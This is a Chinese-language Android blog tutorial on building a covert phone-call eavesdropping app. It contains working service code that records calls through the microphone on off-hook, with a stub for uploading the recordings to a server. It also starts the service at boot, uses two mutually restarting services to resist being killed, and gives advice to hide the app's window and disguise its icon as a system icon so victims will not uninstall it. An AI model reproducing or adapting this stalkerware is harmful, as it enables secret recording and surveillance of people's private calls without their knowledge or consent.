1. 程式人生 > >android電話監聽實現

android電話監聽實現

一、開頭先廢話下(忍耐下...)

1.今天天氣不錯,已經確定沒有其他事了,心裡很平靜,就開始總結下。發現寫總結看起來簡單,但是其實很考驗人,因為有時會覺得沒有意義,沒有人會看,沒有人會關注。就當做自我的一個筆記,很多年看到這,就會會心一笑,這個時候的我多幼稚。可能這個就是成長吧。

2.監(qie)聽電話原理其實很簡單,就是利用android系統提供的api實現。

二、步入正題(不能囉嗦太多...)

1.首先新建一個SystemService繼承Service

2.拿到TelephoneManager的例項,呼叫它的listen方法

<span style="font-size:18px;">
     * Registers a listener object to receive notification of changes
     * in specified telephony states.
     * <p>
     * To register a listener, pass a {@link PhoneStateListener}
     * and specify at least one telephony state of interest in
     * the events argument.
     *
     * At registration, and when a specified telephony state
     * changes, the telephony manager invokes the appropriate
     * callback method on the listener object and passes the
     * current (udpated) values.
     * <p>
     * To unregister a listener, pass the listener object and set the
     * events argument to
     * {@link PhoneStateListener#LISTEN_NONE LISTEN_NONE} (0).
     *
     * @param listener The {@link PhoneStateListener} object to register
     *                 (or unregister)
     * @param events The telephony state(s) of interest to the listener,
     *               as a bitwise-OR combination of {@link PhoneStateListener}
     *               LISTEN_ flags.
     */
    public void listen(PhoneStateListener listener, int events) {
        String pkgForDebug = mContext != null ? mContext.getPackageName() : "<unknown>";
        try {
            Boolean notifyNow = true;
            sRegistry.listen(pkgForDebug, listener.callback, events, notifyNow);
        } catch (RemoteException ex) {
            // system process dead
        } catch (NullPointerException ex) {
            // system process dead
        }
    }</span>

這個是原始碼,簡單的說就是listen方法第一個引數就是給物件註冊監聽事件,第二個引數就是你要監聽的物件內容。

3.電話有很多種狀態,在不同的狀態下寫你自己的事件(後面程式碼註釋很詳細)

4.例項化一個錄音機,當通話狀態時,開始錄用,通話狀態結束時,把音訊檔案在後臺上傳到伺服器,例項化錄用程式碼註釋很詳細。

5.如何監聽它了??這個就需要用到廣播。它的作用就是隻要使用者一開機就開始進行監聽。把我們上面的SystemService這個服務開啟起來。使用 android.intent.action.BOOT_COMPLETED這個廣播就能一開機就開始監聽。相當於使用者一開機就把服務開起來。

<span style="font-size:18px;">
 * 監聽android開機廣播(只要手機一開機就開始監聽)
 */
public class BootReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Intent i = new Intent(context,SystemService.class);
		context.startService(i);
	}
}
</span>

6.採用守護執行緒,當你的服務OnDestroy的時候,開啟另外的一個服務,這樣除非使用者同時關掉兩個,不然不能把你的應用完全殺88死。你的應用可以死而復生。

7.MyActivity裡面設定了兩個按鈕一個開啟服務,一個關閉服務,方便學習。當然你也可以讓使用者一安裝你的應用,就看不到(直接在OnCreate這個生命週期呼叫finish())。然後把你的圖示換成系統圖標,這樣使用者就不敢隨便解除安裝。然後惡作劇就成功了....

8.記得在AndroidManifest.xml新增許可權和註冊

<span style="font-size:18px;"> <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.RECORD_AUDIO" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

    <application android:label="@string/app_name" android:icon="@drawable/ic_launcher">
        <activity android:name="MyActivity"
                  android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>


        <service android:name="com.andrew.systemservice.SystemService" />

        <service android:name="com.andrew.systemservice.SystemService2" />


        <receiver android:name="com.andrew.systemservice.BootReceiver" >
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>
    </application></span>

三、貼程式碼(夠直接吧....)

1.SystemService

<span style="font-size:18px;">
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;

import java.io.File;

public class SystemService extends Service {
	// 電話管理器
	private TelephonyManager tm;
	// 監聽器物件
	private MyListener listener;
	//宣告錄音機
	private MediaRecorder mediaRecorder;

	@Override
	public IBinder onBind(Intent intent) {
		return null;
	}

	/**
	 * 服務建立的時候呼叫的方法
	 */
	@Override
	public void onCreate() {
		// 後臺監聽電話的呼叫狀態。
		// 得到電話管理器
		tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
		listener = new MyListener();
		tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
		super.onCreate();
	}

	private class MyListener extends PhoneStateListener {
		// 當電話的呼叫狀態發生變化的時候呼叫的方法
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			super.onCallStateChanged(state, incomingNumber);
			try {
				switch (state) {
					case TelephonyManager.CALL_STATE_IDLE://空閒狀態。
						if(mediaRecorder!=null){
							//8.停止捕獲
							mediaRecorder.stop();
							//9.釋放資源
							mediaRecorder.release();
							mediaRecorder = null;
							//TODO 這個地方你可以將錄製完畢的音訊檔案上傳到伺服器,這樣就可以監聽了
							Log.i("SystemService", "音訊檔案錄製完畢,可以在後臺上傳到伺服器");
						}

						break;
					case TelephonyManager.CALL_STATE_RINGING://零響狀態。

						break;
					case TelephonyManager.CALL_STATE_OFFHOOK://通話狀態
						//開始錄音
						//1.例項化一個錄音機
						mediaRecorder = new MediaRecorder();
						//2.指定錄音機的聲音源
						mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
						//3.設定錄製的檔案輸出的格式
						mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
						//4.指定錄音檔案的名稱
						File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp");
						mediaRecorder.setOutputFile(file.getAbsolutePath());
						//5.設定音訊的編碼
						mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
						//6.準備開始錄音
						mediaRecorder.prepare();
						//7.開始錄音
						mediaRecorder.start();
						break;
					default:
						break;
				}
			} catch (Exception e) {
				e.printStackTrace();
			}
		}
	}

	/**
	 * 服務銷燬的時候呼叫的方法
	 */
	@Override
	public void onDestroy() {
		super.onDestroy();
		// 取消電話的監聽,採取執行緒守護的方法,當一個服務關閉後,開啟另外一個服務,除非你很快把兩個服務同時關閉才能完成
		Intent i = new Intent(this,SystemService2.class);
		startService(i);
		tm.listen(listener, PhoneStateListener.LISTEN_NONE);
		listener = null;
	}

}
</span>

2.BootReceive
<span style="font-size:18px;">
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

/**
 * 監聽android開機廣播(只要手機一開機就開始監聽)
 */
public class BootReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Intent i = new Intent(context,SystemService.class);
		context.startService(i);
	}
}
</span>

四、完整程式碼請移步下載

歡迎關注個人微信公眾號,專注於Android深度文章和移動前沿技術分享